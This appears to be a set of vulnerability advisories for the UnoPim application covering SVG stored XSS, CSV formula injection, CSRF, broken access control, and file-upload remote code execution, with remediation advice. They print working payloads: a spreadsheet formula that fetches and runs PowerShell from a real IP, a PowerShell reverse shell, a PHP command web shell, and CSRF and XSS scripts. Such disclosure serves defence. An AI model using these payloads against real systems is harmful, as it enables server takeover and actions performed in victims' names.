Recommendation: Check file extension: whitelist allowed extensions. Check mime type matches with file extension ( in this case GIF89 ( mime type GIF ) and extension: svg. They are not matching so reject it. Check file extension ( endswith .svg ) and if it is svg then perform the sanitization that is in place.

Affected Version: 0.1.6

Summary

A vulnerability exists in the Create User process, allowing the creation of a new admin account with an option to upload a profile image. An attacker can upload a malicious SVG file containing an embedded script. When the profile image is accessed, the embedded script executes, leading to the potential theft of session cookies.

Details

1. Login as admin
2. Go to Create User
3. Fill up everything in the registration form then upload SVG image as a profile picture
4. In SVG image, add script tag to prepare for XSS attack
5. Complete the Create User process
6. Right click at the image to obtain image URL address
7. XSS triggered

PoC

The below link is a private YouTube video for PoC. https://youtu.be/5j8owD0--1A

Impact

The stored XSS can lead to session hijacking and privilege escalation, effectively bypassing any CSRF protections in place.

UnoPim 0.1.3 and below is vulnerable to Cross Site Scripting (XSS) in the Create User function.

The vulnerability allows attackers to perform XSS in SVG file extension, which can be used to stealing cookies.

Summary

Description: CSV Injection or Formula Injection is a security vulnerability that occurs when malicious content is inserted into a CSV (Comma-Separated Values) file, which is then opened in a spreadsheet application like Microsoft Excel. This attack exploits the way spreadsheet software automatically interprets certain text patterns as formulas or commands, rather than plain text.

Details

A basic test for CSV Injection is using SUM() to add two numbers or open calc.exe​ using​ command: =cmd|' /C calc'!A0​

The same method can be used to run arbitrary code on the victim's machine. For example the below code will download and execute a malicious script to create a reverse TCP connection to the attacker's machine. Payload:

This is our payload and will be used in the vulnerable field during exploitation

    =cmd|' /C powershell Invoke-WebRequest
    "http://52.172.182.242:7000/shell.ps1" -OutFile "$env:Temp\shell.ps1";
    powershell -ExecutionPolicy Bypass -File "$env:Temp\shell.ps1"'!A1​

shell.ps1:

    $client = New-Object System.Net.Sockets.TCPClient('52.172.182.242',8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()​

PoC:

1. Go to any product and click on Edit
2. Add the above discussed payload in any field that accept text for e.g. Product Number field.
3. Quick Export -> Select CSV, Open the csv, the formula will get executed during opening.

This could be injected by admin or any user that has privilege to edit products. Also the CSRF Injection reported at product edit feature can be used as an attack vector to add such payloads.

Please note that if this is replicated on version starting from Office 2021: Follow these steps: Go to File > Options > Trust Center > Trust Center Settings > External Content​ -> Enable Dynamic Data Exchange Server Launch". This is due to Office 2021 and Microsoft 365 have DDE disabled by default for enhanced security.

Platform Details: Replicated this on Office 2021 on Windows 11. POC video link: https://drive.proton.me/urls/3TP1QEMXNC#2PAy7OkVqdP3

Impact

When the victim opens the CSV, the injected formula which fetches a reverse shell script written in Powershell from attacker's server and executes it. This creates a reverse shell connection from victim's device to attacker's allowing an attacker to perform any action on the victim's device.

Recommendation:

• Avoid starting values with Equals sign (=), Plus sign (+), Minus sign (-), At symbol (@), Tab (0x09), Carriage return (0x0D).
• Sanitize the vulnerable field using regex or standard libraries.
• Wrap the value around double quotes for fields that cannot be sanitized for some reason so that the value is considered as string instead of formula.

Summary

In Unopim, it is possible to create roles and choose the privileges. However, users without the “Delete” privilege for Products cannot delete a single product via the standard endpoint (expected behavior), but can still delete products via the mass-delete endpoint, even when the request contains only one product ID.

Severity: High CVSS Score 8.1 (CVSS 3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H) Category: Broken Access Control / Missing Authorization (OWASP A01:2021) Impact: Unauthorized product deletion -> data loss, possible business disruption

Affected Behavior

Single delete (enforced): DELETE /admin/catalog/products/{id} returns 401 with "This action is unauthorized" for users lacking the Delete privilege.

Mass delete (not enforced): POST /admin/catalog/products/mass-delete allows deletion without the Delete privilege. This occurs for both multiple IDs and a single ID submitted to the bulk endpoint.

PoC

A video was captured in Burp Suite for a proof of concept. The cookies were used directly from Burp Suite and rendered the My Account page to prove what cookies belong to what users. The video PoC is listed in references.

Impact

Unauthorized product deletion -> data loss, possible business disruption

Summary

Some of the endpoints of the application is vulnerable to Cross site Request forgery (CSRF). | Method | Endpoint | Status | Reason | |:------:|:------:|:------:|:------:| | POST | /admin/catalog/products/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used | | GET | /admin/catalog/products/copy/{id}| Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection | | POST | /admin/catalog/products/edit/{id}| Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection | | POST | /admin/settings/users/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used |

The below are some of the vulnerable endpoints that allow state changing actions including but not limited to:

/admin/catalog/categories/create
/admin/catalog/categories/edit/{id}
/admin/catalog/category-fields/create
/admin/catalog/category-fields/edit/{id}
/admin/catalog/attributes/create
/admin/catalog/attributes/edit/{id}

Details

CSRF attack happens when you visit an attacker controlled website which sends a cross origin request to vulnerable application in order to perform a state changing operation like edit the price of a product without the intention of victim. In this case, the POST request doesn't need any special headers ( X-XSRF-TOKEN header missing ) and the content-type is either application/x-www-form-urlencoded or multipart/form-data so we can say this is a Simple request ( doesn't need preflight request ). The cookies are send because samesite is set to None. We have every ingredients for a successful CSRF attack.

PoC

1. Go to any product and click on Edit.
2. Capture the request on Burp, right click and generate a CSRF POC  ( or use the below csrf-poc.html )
3. Access the poc.html and press submit request, the cross origin request will be send and we can see the price of the product has been changed.

POC Video link: https://drive.proton.me/urls/VXNDKQ4WKR#LpvE777hl8OJ

csrf-poc.html:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1:8000/admin/catalog/products/edit/7" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="&#95;token" value="s9Egihm0RD1Pd1NxhvTrx0a4qKCdl0UTSzyyJaK5" />
      <input type="hidden" name="&#95;method" value="PUT" />
      <input type="hidden" name="sku" value="SM&#45;BL&#45;102" />
      <input type="hidden" name="channel" value="default" />
      <input type="hidden" name="locale" value="en&#95;US" />
      <input type="hidden" name="values&#91;common&#93;&#91;sku&#93;" value="SM&#45;BL&#45;102" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;sku&#93;" value="values&#91;common&#93;&#91;sku&#93;" />
      <input type="hidden" name="values&#91;common&#93;&#91;product&#95;number&#93;" value="" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;product&#95;number&#93;" value="values&#91;common&#93;&#91;product&#95;number&#93;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;name&#93;" value="test" />
      <input type="hidden" name="values&#91;common&#93;&#91;url&#95;key&#93;" value="fffkk" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;url&#95;key&#93;" value="values&#91;common&#93;&#91;url&#95;key&#93;" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;tax&#95;category&#95;id&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;tax&#95;category&#95;id&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;color&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;color&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;size&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;size&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;brand&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;brand&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;short&#95;description&#93;" value="&lt;p&gt;fff&lt;&#47;p&gt;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;description&#93;" value="&lt;p&gt;fff&lt;&#47;p&gt;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;title&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;keywords&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;description&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;price&#93;&#91;USD&#93;" value="7&#46;777" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;cost&#93;&#91;USD&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;status&#93;" value="false" />
      <input type="hidden" name="values&#91;common&#93;&#91;status&#93;" value="true" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Impact

Attacker can perform action on behalf of the victim as this happens on the victim's browser provide the victim is already authenticated to the application. Attacker can use an image tag to send the GET request such that when the page is loaded, it'll get executed. As shown in the video POC, the product information can be tampered, create new categories etc.

Remediation:

• Use CSRF token for every state changing request.
• Use samesite: lax or strict, now it is set 'None'. Make sure all state changing requests are done using POST instead of GET. Noticed that for product copy feature, GET is used which means Samesite:strict needs to be set in that case. Otherwise Samesite: lax should suffice.

Summary:

Affected Functionality: Image upload at User creation Endpoint: /admin/settings/users/create

Details

The image upload at the user creation feature performs only client side file type validation. A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file.

Modified part of the multipart request body:

Content-Disposition: form-data; name="image[]"; filename="poc.php"
Content-Type: application/x-php

<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>

PoC

1. Upload an image file as profile picture during user creation , now capture the request and modify. File content: <?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?> File name: poc.php Content-Type can be any, doesn't matter.
2. Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls // pass the command to run as parameter value for cmd, example running ls command on the system

Likewise a reverse shell code ( reverse shell of other languages ) can be executed to create a connection to attacker controlled system.

Impact

Every user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network. Please see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn

Recommendation:

Extension Validation: Whitelist allowed extensions. ( use endswith() check rather than contains() as an attacker can bypass such a restriction with filename: poc.jpg.php

Summary

Affected Functionality: User creation Endpoint: /admin/settings/users/create

Details

https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19 See the mimetype is checked for validation. Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.

File containing is considered as svg and is sanitized:

Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(5)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

Sanitization bypass using MIME type manipulation:

Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml

GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(5)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

PoC

Upload POC.html as image. File content:

GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(document.cookie)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert(document.domain)"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

I changed extension to .html because even though POC.svg successfully bypassed the sanitization. When accessing the URL, the page didn't render as it should starts with <. Since html doesn't have any such limitation we can access it. Access the image URL to see the XSS popup.

Impact

Suppose another admin visits the image link, the attacker can perform any operation as the victim. The session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim )

Example

create a product behalf of victim.

John doe (default admin ) creates another admin ( victimadmin@test.com ) When the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created. // info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It'll be recorded as done by whoever visited the link. Please see the detailed POC video for more details: https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2

Extended POC for performing the action shown in video: POC.html:

<html>
<script>
const url = 'http://localhost:8000/admin/catalog/products/create';

// Create a FormData object to hold the form data
const formData = new FormData();
formData.append('type', 'simple');
formData.append('attribute_family_id', '1');
formData.append('sku', 'Created-by-ADMIN-VICTIM888');

// Define the headers
const headers = {
    'X-XSRF-TOKEN': 'eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0=',
    'X-Requested-With': 'XMLHttpRequest',
    'Accept': 'application/json, text/plain, */*',
    'Origin': 'http://localhost:8000',
    'Referer': 'http://localhost:8000/admin/catalog/products',
    'Cookie': 'XSRF-TOKEN=eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0%3D; unopim_session=eyJpdiI6Ii9MTnNiMEJhNnZGZWVGaGQvbWdkUkE9PSIsInZhbHVlIjoiczJnZmczekRrTHMzN1phc1lmM1I0K1BkRGhRK3llOCtLcnpXODUwQnNrMWJUK29ab2Z0TDdYOUJaa3hxSGFsRzRpK1o0bGFTcTJ1N3J4QkhaYmxNRGdNNnpLUDFnYXl3QzdLNDJCQWRqbExnZ1dURGlyZW5UTWdycWlLQkFRc0oiLCJtYWMiOiJiNjNiZmM0ZjUxMTNlOTZmZGFiNzcxYzRkZDAwYTE3MGM5OTcxNWUyYTYzYjQ4ZGY5ZDkzYTdiZDJlNjUyNWQwIiwidGFnIjoiIn0%3D'
};

// Send the POST request
fetch(url, {
    method: 'POST',
    headers: headers,
    body: formData,
    credentials: 'include' // Include cookies in the request
})
.then(response => {
    if (!response.ok) {
        throw new Error('Network response was not ok ' + response.statusText);
    }
    return response.json(); // Assuming the response is JSON
})
.then(data => {
    console.log('Success:', data);
})
.catch(error => {
    console.error('Error:', error);
});
</script>
<html>

// make sure to update the cookies and CSRF tokens in the script to the attacker's.

Recommendation: Check file extension: whitelist allowed extensions. Check mime type matches with file extension ( in this case GIF89 ( mime type GIF ) and extension: svg. They are not matching so reject it. Check file extension ( endswith .svg ) and if it is svg then perform the sanitization that is in place.

Affected Version: 0.1.6

Summary

A vulnerability exists in the Create User process, allowing the creation of a new admin account with an option to upload a profile image. An attacker can upload a malicious SVG file containing an embedded script. When the profile image is accessed, the embedded script executes, leading to the potential theft of session cookies.

Details

1. Login as admin
2. Go to Create User
3. Fill up everything in the registration form then upload SVG image as a profile picture
4. In SVG image, add script tag to prepare for XSS attack
5. Complete the Create User process
6. Right click at the image to obtain image URL address
7. XSS triggered

PoC

The below link is a private YouTube video for PoC. https://youtu.be/5j8owD0--1A

Impact

The stored XSS can lead to session hijacking and privilege escalation, effectively bypassing any CSRF protections in place.

UnoPim 0.1.3 and below is vulnerable to Cross Site Scripting (XSS) in the Create User function.

The vulnerability allows attackers to perform XSS in SVG file extension, which can be used to stealing cookies.